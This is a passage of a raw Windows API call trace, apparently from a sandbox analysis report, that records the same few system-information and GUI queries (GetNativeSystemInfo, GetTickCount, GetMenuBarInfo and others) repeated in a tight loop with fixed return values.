GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.115] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.115] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.115] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.115] GetTickCount () returned 0x4662 [0096.115] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.115] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.115] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.115] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.115] GetTickCount () returned 0x4662 [0096.115] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.116] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.116] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.116] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.116] GetTickCount () returned 0x4662 [0096.116] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.116] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.116] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.116] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.116] GetTickCount () returned 0x4662 [0096.116] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.116] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.116] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.116] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.116] GetTickCount () returned 0x4662 [0096.116] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.116] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.116] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.116] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.116] GetTickCount () returned 0x4662 [0096.116] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.116] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.116] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.116] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.116] GetTickCount () returned 0x4662 [0096.116] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.117] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.117] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.117] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.117] GetTickCount () returned 0x4662 [0096.117] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.117] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.117] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.117] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.117] GetTickCount () returned 0x4662 [0096.117] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.117] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.117] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.117] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.117] GetTickCount () returned 0x4662 [0096.117] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.117] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.117] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.117] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.117] GetTickCount () returned 0x4662 [0096.117] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.117] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.117] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.117] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.117] GetTickCount () returned 0x4662 [0096.117] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.118] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.118] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.118] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.118] GetTickCount () returned 0x4662 [0096.118] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.118] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.118] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.118] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.118] GetTickCount () returned 0x4662 [0096.118] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.118] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.118] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.118] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.118] GetTickCount () returned 0x4662 [0096.118] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.118] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.118] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.118] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.118] GetTickCount () returned 0x4662 [0096.118] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.118] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.118] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.119] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.119] GetTickCount () returned 0x4662 [0096.119] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.119] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.119] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.119] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.119] GetTickCount () returned 0x4662 [0096.119] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.119] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.119] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.119] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.119] GetTickCount () returned 0x4662 [0096.119] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.119] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.119] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.119] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.119] GetTickCount () returned 0x4662 [0096.119] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.119] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.119] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.119] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.119] GetTickCount () returned 0x4662 [0096.119] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.119] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.119] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.120] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.120] GetTickCount () returned 0x4662 [0096.120] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.120] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.120] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.120] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.120] GetTickCount () returned 0x4662 [0096.120] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.120] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.120] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.120] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.120] GetTickCount () returned 0x4662 [0096.120] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.120] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.120] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.121] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.121] GetTickCount () returned 0x4671 [0096.121] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.121] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.121] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.121] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.121] GetTickCount () returned 0x4671 [0096.121] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.121] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.121] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.121] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.121] GetTickCount () returned 0x4671 [0096.121] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.121] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.121] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.121] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.121] GetTickCount () returned 0x4671 [0096.121] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.121] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.121] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.121] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.121] GetTickCount () returned 0x4671 [0096.121] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.121] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.122] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.122] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.122] GetTickCount () returned 0x4671 [0096.122] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.122] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.122] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.122] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.122] GetTickCount () returned 0x4671 [0096.122] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.122] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.122] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.122] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.122] GetTickCount () returned 0x4671 [0096.122] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.122] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.122] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.122] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.122] GetTickCount () returned 0x4671 [0096.122] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.122] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.122] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.122] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.122] GetTickCount () returned 0x4671 [0096.123] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.123] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.123] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.123] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.123] GetTickCount () returned 0x4671 [0096.123] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.123] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.123] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.123] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.123] GetTickCount () returned 0x4671 [0096.123] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.123] GetScrollBarInfo (in: hwnd=0x0, idObject=0, 